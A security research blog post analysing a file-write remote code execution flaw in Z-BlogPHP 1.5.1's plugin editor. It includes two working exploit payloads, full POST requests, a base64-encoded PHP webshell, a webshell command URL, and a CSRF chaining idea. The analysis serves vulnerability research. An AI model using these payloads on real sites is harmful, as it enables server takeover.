Security Research

Code Audit: Z-BlogPHP 1.5.1 Zero GetShell Vulnerability Analysis

#Web Security#Code Audit
Dark dossier-style cover with copper-orange fractured chain links and a cracked digital surface, symbolizing the file-write mechanism in the plugin editor being bypassed to plant a webshell through a trusted upload channel

Background

I came across Hiwin’s post, “Z-Blog Getshell Analysis (with EXP) (CVE-2018-8893, CVE-2018-9169, CVE-2018-9153)” (https://xz.aliyun.com/t/2277), and decided to analyse the GetShell vector myself. My exploitation path differs from Hiwin’s — feedback welcome.

Official site: https://www.zblogcn.com/

Source version: Z-BlogPHP_1_5_1_Zero

Vulnerable file: zb_users/plugin/AppCentre/plugin_edit.php

Vulnerability type: file write leading to code execution

Vulnerability Analysis

The Problematic Code Block

In zb_users/plugin/AppCentre/plugin_edit.php, lines 47-68 contain the following block. A close reading shows that both file_put_contents($path, $file) calls take a filename and content that are entirely user-controlled:

// Lines 47-68 (simplified)
// First write: path comes from app_path (user-controlled), content from tpl/main.html replacement
$s = GetPreStr($app->id);  // only template substitution
$file = str_replace('<%appid%>', $app->id, $tpl_main);
$path = $app_path;  // from POST['app_path']
file_put_contents($path, $file);

// Second write: fixed include.php, content from tpl/include.html replacement
$file = str_replace('<%appid%>', $app->id, $tpl_include);
$path = 'include.php';
file_put_contents($path, $file);

The first call (lines 57-61) reads tpl/main.html, substitutes <%appid%> with $app->id, takes the target path from a POST parameter, and writes the file. The second (lines 63-67) is similar but writes to a fixed include.php.

Constraint and Bypass

Tracing $app->id back to line 50, the input must start with letters, digits or underscore, with a total length of 3-30 characters — a textbook “constrain the prefix, ignore the suffix” regex blind spot:

// app_id validation: only the prefix is constrained
// Pattern resembles ^[A-Za-z_][A-Za-z0-9_]{2,29}$
// It only verifies that the first 3-30 characters match the rule

So all we need is three valid leading characters, and the rest of the string can be raw PHP code. The next step is to inspect where <%appid%> appears inside tpl/main.html and tpl/include.html, and craft a payload that closes the surrounding PHP context.

Template Placeholder Locations

<%appid%> locations in main.html

<%appid%> locations in include.html

First target, tpl/main.html: there are two write points with inconsistent closing rules. We can close the first one with ?>, which turns everything after it (including the second <%appid%> occurrence) into plain text output — a classic PHP template injection bypass via “one close, abandon the rest.”

Second target, tpl/include.html: there are 5 <%appid%> occurrences, with the first two closing differently from the remaining three. If RegisterPlugin is not defined, the code throws an error; if it is defined, the four write points that all try to declare the function trigger Cannot redeclare RegisterPlugin(). Without ?> or /* to comment things out, I could not find a clean construction (fellow researchers, ideas welcome).

Exploitation

Windows Limitation

Under Windows, file_put_contents fails when the target path contains ?, *, null or similar characters. The ? in the PHP closing tag ?> happens to be one of those illegal filename characters, so on Windows app_path cannot simultaneously carry the PHP closing marker and serve as a valid filename.

As a result, only Linux produced a stable GetShell in my tests. The Windows path is left open for discussion.

Vector 1: main.html Template

The payload for the tpl/main.html vector (first three characters satisfy the regex, the rest is PHP code):

// Payload (after substitution into main.html)
balabal')){}$f=fopen('evil.php','a');fwrite($f,base64_decode('PD9waHAgJF9HRVRbJ2Z1bmMnXSgkX0dFVFsnY21kJ10pOz8+'));fclose($f);?>

The base64 decodes to the classic webshell <?php $_GET['func']($_GET['cmd']);?>.

Because line 60 of plugin_edit.php exposes a directory traversal on app_path, we can use ../ to redirect the write to zb_users/plugin/Totoro/main.php (Totoro is Z-Blog’s built-in comment management plugin). When the admin visits “Comment Management → Totoro Settings”, the malicious code fires and generates evil.php:

POST /zb_users/plugin/AppCentre/plugin_edit.php HTTP/1.1
Host: 192.168.112.136
Content-Type: application/x-www-form-urlencoded
Cookie: username=zblog; password=321c7793b025c200fcf087a437cf2b24; addinfo=...

app_id=balabal')){}$f%3dfopen('evil.php','a')%3bfwrite($f,base64_decode('PD9waHAgJF9HRVRbJ2Z1bmMnXSgkX0dFVFsnY21kJ10pOz8%2b'))%3bfclose($f)%3b%3f>&app_name=1&app_url=2&app_note=3&app_adapted=151740&app_version=1.0&app_pubdate=2018-04-19&app_modified=2018-04-19&app_author_name=zblog&app_author_email=null%40null.com&app_author_url=&app_path=../Totoro/main.php&app_include=include.php&app_level=1&app_phpver=5.2&app_price=0&app_advanced_dependency=&app_advanced_conflict=&app_advanced_rewritefunctions=&app_advanced_existsfunctions=&app_description=

Visiting http://192.168.112.136/zb_users/plugin/Totoro/main.php triggers the payload and writes evil.php into that directory. The webshell then executes commands on request:

http://192.168.112.136/zb_users/plugin/Totoro/evil.php?func=assert&cmd=system('ls');

Vector 2: include.html Template

The payload for the tpl/include.html vector needs to prepend an empty function RegisterPlugin(){} definition to avoid the “undefined method” error, then close the PHP context with ?>:

// Payload (after substitution into include.html)
12a(){};function RegisterPlugin(){};$f=fopen('evil.php','a');fwrite($f,base64_decode('PD9waHAgJF9HRVRbJ2Z1bmMnXSgkX0dFVFsnY21kJ10pOz8+'));fclose($f)?>

Sending the following request writes the payload into include.php:

POST /zb_users/plugin/AppCentre/plugin_edit.php HTTP/1.1
Host: 192.168.112.136
Content-Type: application/x-www-form-urlencoded
Cookie: username=zblog; password=321c7793b025c200fcf087a437cf2b24; ...

app_id=12a(){}%3bfunction+RegisterPlugin(){}%3b$f%3dfopen('evil.php','a')%3bfwrite($f,base64_decode('PD9waHAgJF9HRVRbJ2Z1bmMnXSgkX0dFVFsnY21kJ10pOz8%2b'))%3bfclose($f)%3f>&app_name=1&app_url=2&app_note=3&app_adapted=151740&app_version=1.0&app_pubdate=2018-04-19&app_modified=2018-04-19&app_author_name=zblog&app_author_email=null%40null.com&app_author_url=&app_path=main.php&app_include=include.php&app_level=1&app_phpver=5.2&app_price=0&app_advanced_dependency=&app_advanced_conflict=&app_advanced_rewritefunctions=&app_advanced_existsfunctions=&app_description=

Exploit request and webshell trigger

After the request, visit the plugin entry point (URL-encoded path):

http://192.168.112.136/zb_users/plugin/12a%28%29%7B%7D%3Bfunction%20RegisterPlugin%28%29%7B%7D%3B%24f%3Dfopen%28%27evil.php%27%2C%27a%27%29%3B...

That visit generates evil.php in the plugin directory, with the webshell as its content.

Webshell command execution

Chaining with CSRF

Both vectors require CSRF to actually fire in the wild — the attacker hosts the malicious request on their own server and tricks an authenticated admin into visiting (typical vectors: guestbook XSS, direct-message phishing, nested iframes in the backend). Hiwin’s approach is exactly that CSRF + XSS combination, and the reasoning behind it is well worth a careful read; see https://xz.aliyun.com/t/2277 for details.

Final Thoughts

This audit covers Z-BlogPHP 1.5.1 Zero. The Windows GetShell path remains open — Windows filename restrictions are too aggressive (fellow researchers, ideas welcome) — but on Linux the CSRF chain reliably produces a shell, and the exploitation path here differs from Hiwin’s, which I found genuinely insightful.

The “plugin editor + template placeholder” combination is a recurring pitfall in legacy CMSes — the core logic tends to splice templates with str_replace and write them out with file_put_contents, while validation only checks the prefix. The audit takeaway: look at the gap between the declared policy (“users edit only their own plugin”) and the implementation (“users can write arbitrary PHP”). That gap is exactly where the vulnerability lives. Z-BlogPHP’s later fix — tightening the app_id character allow-list and constraining app_path directory traversal — closes the seam at the root cause, which is the right way to handle it.